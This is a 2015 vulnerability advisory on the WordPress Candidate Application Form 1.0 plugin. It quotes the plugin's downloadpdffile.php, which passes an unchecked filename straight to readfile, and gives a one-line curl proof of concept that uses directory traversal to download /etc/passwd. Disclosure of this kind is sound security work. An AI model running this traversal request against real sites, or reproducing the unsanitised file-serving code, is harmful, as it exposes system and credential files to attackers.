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WordPress Candidate Application Form 1.0 File Download

WordPress Candidate Application Form 1.0 File Download
Posted Aug 5, 2015
Authored by Larry W. Cashdollar

WordPress Candidate Application Form plugin version 1.0 suffers from an arbitrary remote file download vulnerability.

tags | exploit, remote, arbitrary
SHA-256 | 816049deea64461a8d810ffdccfe02412b9685d700f20853132431706a358ad0

WordPress Candidate Application Form 1.0 File Download

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Title: Remote file download vulnerability in candidate-application-form v1.0 wordpress plugin
Author: Larry W. Cashdollar, @_larry0
Date: 2015-07-12
Download Site: https://wordpress.org/plugins/candidate-application-form
Vendor: https://profiles.wordpress.org/flaxlandsconsulting/
Vendor Notified: 2015-07-12
Vendor Contact:
Description: This plugin allows you to easily add a candidate application form to a job vacancy post, which allows the candidate to apply for the vacancy.
Vulnerability:
The code in downloadpdffile.php doesn't do any sanity checks, allowing a remote attacker to download sensitive system files:

<?php
2 $file_name = $_GET["fileName"];
3 $path = $_GET["fileUrl"];
4 $fullfile = $path.$file_name;
5 if (file_exists('../../uploads/candidate_application_form/'.$file_name)) {
6 header('Pragma: public'); // required
7 header('Expires: 0'); // no cache
8 header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
9 header('Last-Modified: '.gmdate ('D, d M Y H:i:s', filemtime ('../../uploads/candidate_application_form/'.$file_ name)).' GMT');
10 header('Cache-Control: private',false);
11 header('Content-Type: '.'application/pdf');
12 header('Content-Disposition: attachment; filename="'.basename('../../uploads/candidate_application_form/'.$file_ name).'"');
13 header('Content-Transfer-Encoding: binary');
14 header('Content-Length: '.filesize('../../uploads/candidate_application_form/'.$file_name)); // provide file size
15 header('Connection: close');
16 readfile('../../uploads/candidate_application_form/'.$file_name); // push it out
17 exit();
18 }

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OSVDB:
Exploit Code:
• $ curl http://www.example.com/wp-content/plugins/candidate-application-form/downloadpdffile.php?fileName=../../../../../../../../../../etc/passwd

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